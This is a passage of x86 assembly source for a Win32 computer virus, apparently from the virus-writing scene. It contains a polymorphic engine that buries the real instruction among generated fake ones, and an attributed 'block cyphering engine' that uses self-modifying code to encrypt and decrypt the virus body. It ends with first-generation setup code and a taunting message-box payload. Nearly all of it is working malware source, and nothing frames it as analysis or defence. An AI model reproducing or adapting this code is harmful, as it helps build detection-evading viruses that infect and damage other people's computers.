pop esi
|
|
|
|
|
|
; This can be enough. Now let's just copy it to our buffer.
|
|
|
|
dec ecx
|
|
mov al,0b8h
|
|
add al,dl
|
|
stosb
|
|
rep movsb
|
|
|
|
ret
|
|
|
|
;=====================***************************===========================
|
|
; GENERATE INSTRUCTIONS
|
|
;=====================***************************===========================
|
|
; GenerateInstructions: this one will create instructions similar to the
|
|
;legit one, putting them into BufferInst. It will also put the legit one
|
|
;randomly among them.
|
|
|
|
|
|
|
|
GenerateInstructions: ; ecx is equal the number of opcodes
|
|
mov byte ptr ds:[Generated+ebp],0
|
|
mov esi,7
|
|
GenInstrAgain:
|
|
call GetRandomNumber
|
|
and ah,101b
|
|
jz LegGenerate
|
|
FakeIns:
|
|
push ecx esi
|
|
call PrintFake
|
|
pop esi ecx
|
|
jmp OneLess
|
|
LegGenerate:
|
|
cmp byte ptr ds:[Generated+ebp],1
|
|
jz FakeIns
|
|
|
|
push esi
|
|
call PrintLegit
|
|
pop esi
|
|
mov byte ptr ds:[Generated+ebp],1
|
|
OneLess:
|
|
dec esi
|
|
jnz GenInstrAgain
|
|
mov al,byte ptr ds:[Generated+ebp]
|
|
dec al
|
|
jz FinishedGenerating
|
|
sub edi,5
|
|
inc esi
|
|
jmp LegGenerate
|
|
FinishedGenerating:
|
|
ret
|
|
|
|
|
|
|
|
;=====================***************************===========================
|
|
; MAIN FUNCTION/DATA
|
|
;=====================***************************===========================
|
|
; GenerateInstructions: this one will create instructions similar to the
|
|
;legit one, putting them into BufferInst. It will also put the legit one
|
|
;randomly among them.
|
|
|
|
Generated: db 0
|
|
|
|
UVE:
|
|
|
|
call GetRandomSeed
|
|
call GetFirstInstruction
|
|
call MarkOpcode
|
|
|
|
push edi
|
|
lea esi,Instruction+ebp
|
|
lea edi,secondary_buffer+ebp
|
|
movsd
|
|
movsb
|
|
pop edi
|
|
|
|
call GenerateInstructions
|
|
clc
|
|
Ended_Stuff:
|
|
ret
|
|
|
|
|
|
|
|
TimeKindOf:
|
|
dw 0,0,0,0,0
|
|
Minute dw 0
|
|
Second dw 0
|
|
Miliseconds dw 0
|
|
|
|
|
|
|
|
InstToRead:
|
|
db 000h,12h,00h,00h ; mov ebx, 12h
|
|
db 0,0,0,0 ; 64 en 04
|
|
|
|
|
|
|
|
|
|
;===========================&&&&&&&&&&&&&&&&&&&==============================
|
|
; QOZAH'S BLOCK CYPHERING ENGINE
|
|
;===========================&&&&&&&&&&&&&&&&&&&==============================
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
Create_Table:
|
|
push ecx
|
|
mov ecx,31d ; Create 31 bytes
|
|
lea edi,OperationTable+ebp
|
|
SixLoops:
|
|
call GetRandomNumber
|
|
stosb
|
|
loop SixLoops
|
|
pop ecx
|
|
ret
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
GetBlocksReminder:
|
|
xor dx,dx
|
|
mov ax,08d
|
|
xchg ax,cx
|
|
div cx ; CX=number of blocks, DX=Remainder
|
|
mov cx,ax
|
|
ret
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
EncryptBlock: ; ESI is supposed begin crypt offset
|
|
;while EAX is the shit to crypt
|
|
push ecx
|
|
lea edi,OperationTable+ebp
|
|
xor ebx,ebx
|
|
; lodsd
|
|
|
|
mov ecx,24d
|
|
MakeRound:
|
|
mov dword ptr [EncryptOperation+ebp],90909090h
|
|
push ecx
|
|
mov ecx,8d ; Value to load ( 8 bits )
|
|
|
|
; 34h XOR, 2CH SUB, 04h ADD, C0h C8h ROL, c0h c0h ROR
|
|
|
|
bt [edi],ebx
|
|
jc XorOrRox
|
|
inc ebx
|
|
mov byte ptr [EncryptOperation+ebp],04h ; ADD AL,XX
|
|
bt [edi],ebx
|
|
jc SubInst
|
|
add byte ptr [EncryptOperation+ebp],028h ; SUB AL,XX
|
|
SubInst: jmp OpCodeStoredA
|
|
|
|
XorOrRox:
|
|
inc ebx
|
|
bt [edi],ebx
|
|
jnc DealWithXor
|
|
|
|
RorOrXor:
|
|
inc ebx
|
|
bt [edi],ebx
|
|
mov word ptr [EncryptOperation+ebp],0c0c0h ; ROL AL,XX
|
|
jnc MakeRol ; IT'S MADE THE 'OTHER' WAY
|
|
add byte ptr [EncryptOperation+ebp+1],08h ; ROL AL,XX
|
|
MakeRol:
|
|
dec cx
|
|
; Ecx equ value to load, that is 7 bits for you
|
|
jmp OpCodeStoredA
|
|
|
|
|
|
DealWithXor:mov byte ptr [EncryptOperation+ebp],034h ; XOR AL,XX
|
|
|
|
OpCodeStoredA: ; Now it's time to obtain the cypher
|
|
|
|
xor edx,edx ; DX=0, DL=value to make operation
|
|
|
|
MakeValuesForOperation:
|
|
inc ebx ; points to +2 or +3 in the beggining
|
|
rol dl,1
|
|
bt [edi],ebx
|
|
jnc NoOperand
|
|
inc dl
|
|
NoOperand:
|
|
loop MakeValuesForOperation
|
|
cmp byte ptr [EncryptOperation+1+ebp],90h
|
|
jz Type1
|
|
mov byte ptr [EncryptOperation+2+ebp],dl
|
|
jmp EncryptOperation
|
|
Type1:
|
|
mov byte ptr [EncryptOperation+1+ebp],dl
|
|
db 0ebh,00h ; Avoid prefetch
|
|
|
|
; One instruction made ( out of 4 )
|
|
|
|
EncryptOperation:
|
|
db 90,90,90,90 ; work in AL. One byte excess to fit dword
|
|
ror eax,8d ; Next byte this way ->
|
|
|
|
mov esi,dword ptr ds:[EncryptOperation+ebp]
|
|
mov dword ptr ds:[SecondCryptA+ebp],esi
|
|
SecondCryptA:
|
|
db 90,90,90,90 ; work in AL. One byte excess to fit dword
|
|
|
|
|
|
pop ecx
|
|
dec ecx
|
|
jz FinishedCryptBlock
|
|
jmp MakeRound ; 24 times ( 24 encryptions in 4 blocks )
|
|
FinishedCryptBlock:
|
|
ror eax,8d ; Adjust last one.
|
|
|
|
pop ecx
|
|
ret
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
Get_some_for_offset:
|
|
bt [edi],ebx
|
|
inc ebx
|
|
jnc DontAddDl
|
|
inc dl
|
|
DontAddDl: rol dl,1
|
|
loop Get_some_for_offset
|
|
ret
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
|
|
GetDl:
|
|
|
|
push ebx
|
|
pop esi
|
|
|
|
; First of all, we get seven bits from the beggining of the
|
|
;table, that is, the offset relative to the table in bits
|
|
;to get our value.
|
|
|
|
xor edx,edx
|
|
lea edi,OperationTable+ebp
|
|
xor ebx,ebx
|
|
|
|
mov ecx,7d
|
|
call Get_some_for_offset
|
|
|
|
mov ebx,edx
|
|
|
|
; Now we have the desired offset so that we just get another
|
|
;value ( this time 5 bits ), which we will always use to
|
|
;operate.
|
|
|
|
xor edx,edx
|
|
|
|
mov ecx,5d
|
|
call Get_some_for_offset
|
|
|
|
ret
|
|
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
MessTwoBlocks:
|
|
|
|
push ecx esi
|
|
|
|
call GetDl
|
|
|
|
; This value will be from now stored in edl then. Now we
|
|
;start checking the table.
|
|
|
|
mov ebx,0d8h ; beggining of that last 8 bits,
|
|
;as cfh is the beginning of the
|
|
;last operation
|
|
mov ecx,04h
|
|
Test_Rotate:
|
|
push ecx
|
|
|
|
bt [edi],ebx
|
|
jnc We_Dont_Rotate
|
|
|
|
; If we do rotate, we do it now, with dl value
|
|
|
|
mov byte ptr [DlHere+ebp],dl
|
|
|
|
db 0ebh,00h
|
|
db 0c1h,0c0h
|
|
DlHere: db ?
|
|
|
|
|
|
; Rotated or not, the second bunch is still in EAX, while
|
|
;the first one is in ESI. So, we test the second byte.
|
|
|
|
We_Dont_Rotate:
|
|
|
|
inc ebx
|
|
mov byte ptr [OperationBlock+ebp+2],03h ; add esi, eax
|
|
bt [edi],ebx
|
|
jnc OperationBlock
|
|
mov byte ptr [OperationBlock+ebp+2],33h ; xor esi, eax
|
|
|
|
OperationBlock:
|
|
db 0ebh,00h ; Prefetch
|
|
db 033h,0f0h
|
|
pop ecx
|
|
inc ebx
|
|
loop Test_Rotate
|
|
|
|
mov ebx,esi
|
|
pop esi ecx
|
|
|
|
ret
|
|
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
Encrypt64KbBlocks:
|
|
|
|
lodsd
|
|
push esi
|
|
call EncryptBlock
|
|
pop esi
|
|
mov ebx,eax
|
|
lodsd
|
|
push esi ebx
|
|
call EncryptBlock ; So we have them in ebx and eax
|
|
pop ebx esi
|
|
call MessTwoBlocks
|
|
ret
|
|
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
StoreOneBlock:
|
|
|
|
xchg eax,ebx
|
|
mov edi,esi
|
|
sub edi,8d
|
|
stosd
|
|
mov eax,ebx ; We store them two
|
|
stosd
|
|
ret
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
|
|
Encrypt_stuff:
|
|
|
|
call GetBlocksReminder ; DX is the last one length
|
|
push dx
|
|
|
|
CheckLasting: ; DX = REMAINDER, CX = NUMBER O BLOCKS
|
|
or cx,cx ; No more ?
|
|
jz Go_last_block
|
|
call Encrypt64KbBlocks
|
|
call StoreOneBlock
|
|
loop CheckLasting
|
|
|
|
Go_last_block:
|
|
pop dx
|
|
cmp dx,4d ; Last block shit
|
|
jc Finished_crypting
|
|
push esi
|
|
lodsd
|
|
call EncryptBlock
|
|
pop edi
|
|
stosd
|
|
Finished_crypting:
|
|
ret
|
|
|
|
; Once we have the length, we can start
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
|
|
Encrypt:
|
|
call Create_Table
|
|
call Encrypt_stuff
|
|
ret
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
DeEncryptBlock:
|
|
|
|
rol eax,8d
|
|
push ecx
|
|
lea edi,OperationTable+ebp
|
|
mov ebx,0cfh+12h ; 10 bits * 24 operations
|
|
;something to adjust
|
|
mov ecx,24d
|
|
|
|
MakeRound2:
|
|
push ecx
|
|
sub ebx,12h ; The above adjustment with this
|
|
;allows us to do the encryption
|
|
;algorythm backwards
|
|
|
|
; 34h XOR, 2CH SUB, 04h ADD, C0h C8h ROL, c0h c0h ROR
|
|
|
|
mov dword ptr [EncryptOperation2+ebp],90909090h
|
|
mov ecx,8d ; Value to load ( 8 bits )
|
|
|
|
bt [edi],ebx
|
|
jc XorOrRox2
|
|
inc ebx
|
|
mov byte ptr [EncryptOperation2+ebp],04h
|
|
bt [edi],ebx
|
|
jnc SubInst2
|
|
add byte ptr [EncryptOperation2+ebp],028h
|
|
SubInst2: jmp OpCodeStoredA2
|
|
|
|
XorOrRox2:
|
|
inc ebx
|
|
bt [edi],ebx
|
|
jnc DealWithXor2
|
|
|
|
RorOrXor2:
|
|
inc ebx
|
|
bt [edi],ebx
|
|
mov word ptr [EncryptOperation2+ebp],0c0c0h
|
|
jc MakeRol2 ; IT'S MADE THE 'OTHER' WAY
|
|
add byte ptr [EncryptOperation2+ebp+1],08h
|
|
MakeRol2:
|
|
dec ecx
|
|
; Ecx equ value to load, that is 7 bits for you
|
|
jmp OpCodeStoredA2
|
|
|
|
|
|
DealWithXor2: mov byte ptr [EncryptOperation2+ebp],034h
|
|
|
|
OpCodeStoredA2: ; Now it's time to obtain the cypher
|
|
|
|
xor edx,edx
|
|
|
|
MakeValuesForOperation2:
|
|
|
|
inc ebx ; points to +2 or +3 in the beggining
|
|
rol dl,1
|
|
bt [edi],ebx
|
|
jnc NoOperand2
|
|
inc dl
|
|
NoOperand2:
|
|
loop MakeValuesForOperation2
|
|
cmp byte ptr [EncryptOperation2+1+ebp],90h
|
|
jz Type1B
|
|
mov byte ptr [EncryptOperation2+2+ebp],dl
|
|
jmp EncryptOperation2 ; just in case (testing)
|
|
Type1B: mov byte ptr [EncryptOperation2+1+ebp],dl
|
|
db 0ebh,00h ; Prefetch
|
|
; One instruction made ( out of 4 )
|
|
|
|
EncryptOperation2:
|
|
db 90,90,90,90 ; work in AL. One byte excess to fit dword
|
|
rol eax,8d
|
|
|
|
mov esi,dword ptr ds:[EncryptOperation2+ebp]
|
|
mov dword ptr ds:[SecondCryptB+ebp],esi
|
|
SecondCryptB:
|
|
db 90,90,90,90 ; work in AL. One byte excess to fit dword
|
|
|
|
|
|
pop ecx
|
|
dec ecx
|
|
jz FinishedCryptBlock2
|
|
jmp MakeRound2
|
|
FinishedCryptBlock2:
|
|
|
|
pop ecx
|
|
ret
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
DeMessTwoBlocks:
|
|
|
|
push ecx esi
|
|
|
|
; First of all, we get seven bits from the beggining of the
|
|
;table, that is, the offset relative to the table in bits
|
|
;to get our value.
|
|
|
|
call GetDl
|
|
mov byte ptr [@DlHere+ebp],dl
|
|
|
|
mov ebx,0e0h ; beggining of that last 8 bits
|
|
mov ecx,04h
|
|
@Test_Rotate:
|
|
push ecx
|
|
|
|
dec ebx
|
|
|
|
mov byte ptr [@OperationBlock+2+ebp],2bh ; sub esi, eax
|
|
bt [edi],ebx
|
|
jnc @OperationBlock
|
|
mov byte ptr [@OperationBlock+2+ebp],33h ; xor esi, eax
|
|
@OperationBlock:
|
|
db 0ebh,00h
|
|
db 033h,0f0h
|
|
|
|
dec ebx
|
|
|
|
bt [edi],ebx
|
|
jnc @We_Dont_Rotate
|
|
|
|
; If we do rotate, we do it now, with dl value
|
|
|
|
db 0c1h,0c8h
|
|
@DlHere: db ?
|
|
|
|
; Rotated or not, the second bunch is still in EAX, while
|
|
;the first one is in ESI. So, we test the second byte.
|
|
|
|
@We_Dont_Rotate:
|
|
|
|
pop ecx
|
|
loop @Test_Rotate
|
|
|
|
mov ebx,esi
|
|
pop esi ecx
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
|
|
DeEncrypt64KbBlocks:
|
|
|
|
; This function is performed in reverse order than
|
|
;"Encrypt64KbBlocks", first fixing the block mixing
|
|
;and later decrypting each block.
|
|
|
|
lodsd
|
|
mov ebx,eax
|
|
lodsd
|
|
call DeMessTwoBlocks
|
|
xchg eax,ebx
|
|
|
|
push ebx esi
|
|
call DeEncryptBlock
|
|
pop esi ebx
|
|
xchg eax,ebx
|
|
push ebx esi
|
|
call DeEncryptBlock
|
|
pop esi ebx
|
|
ret
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
|
|
DeEncrypt_stuff:
|
|
call GetBlocksReminder ; DX is the last one length
|
|
push dx
|
|
CheckLasting2: ; DX = REMAINDER, CX = NUMBER O BLOCKS
|
|
or cx,cx ; No more ?
|
|
jz Go_last_block2
|
|
call DeEncrypt64KbBlocks
|
|
call StoreOneBlock
|
|
loop CheckLasting2
|
|
|
|
Go_last_block2:
|
|
pop dx
|
|
cmp dx,4d ; Last block shit
|
|
jc Thisisfinished
|
|
push esi
|
|
lodsd
|
|
call DeEncryptBlock
|
|
pop edi
|
|
stosd
|
|
Thisisfinished:
|
|
ret
|
|
|
|
|
|
;---------------------------------------------------------------------------
|
|
|
|
|
|
Decrypt:
|
|
call DeEncrypt_stuff
|
|
ret
|
|
|
|
OperationTable:
|
|
|
|
db 31d dup (?) ; 30 for 24 operations, 1 for last one
|
|
|
|
|
|
virus_end label byte
|
|
virus_size equ virus_end-v_start
|
|
|
|
|
|
|
|
|
|
; FIRST GENERATION ONLY
|
|
|
|
|
|
|
|
diff_external equ external_first_gen_ops-Decryption
|
|
|
|
external_first_gen_ops:
|
|
lea eax,[Kernel32+ebp] ; GetModuleHandle for the
|
|
push eax ;first virus segregation.
|
|
call GetModuleHandleA
|
|
mov dword ptr [GetMHandle+ebp],eax
|
|
sub dword ptr [external_address+ebp],diff_external
|
|
ret
|
|
|
|
Kernel32: db 'KERNEL32.DLL',0
|
|
|
|
First_out:
|
|
|
|
push MB_ICONEXCLAMATION
|
|
push offset Azathoth
|
|
push offset WriteOurText
|
|
push NULL
|
|
call MessageBoxA
|
|
call ExitProcess
|
|
|
|
WriteOurText: db 'H0 H0 H0 NOW I HAVE A MACHINE GUN',0
|
|
|
|
|
|
include Win32api.inc
|
|
include PE.inc
|
|
|
|
end Start
|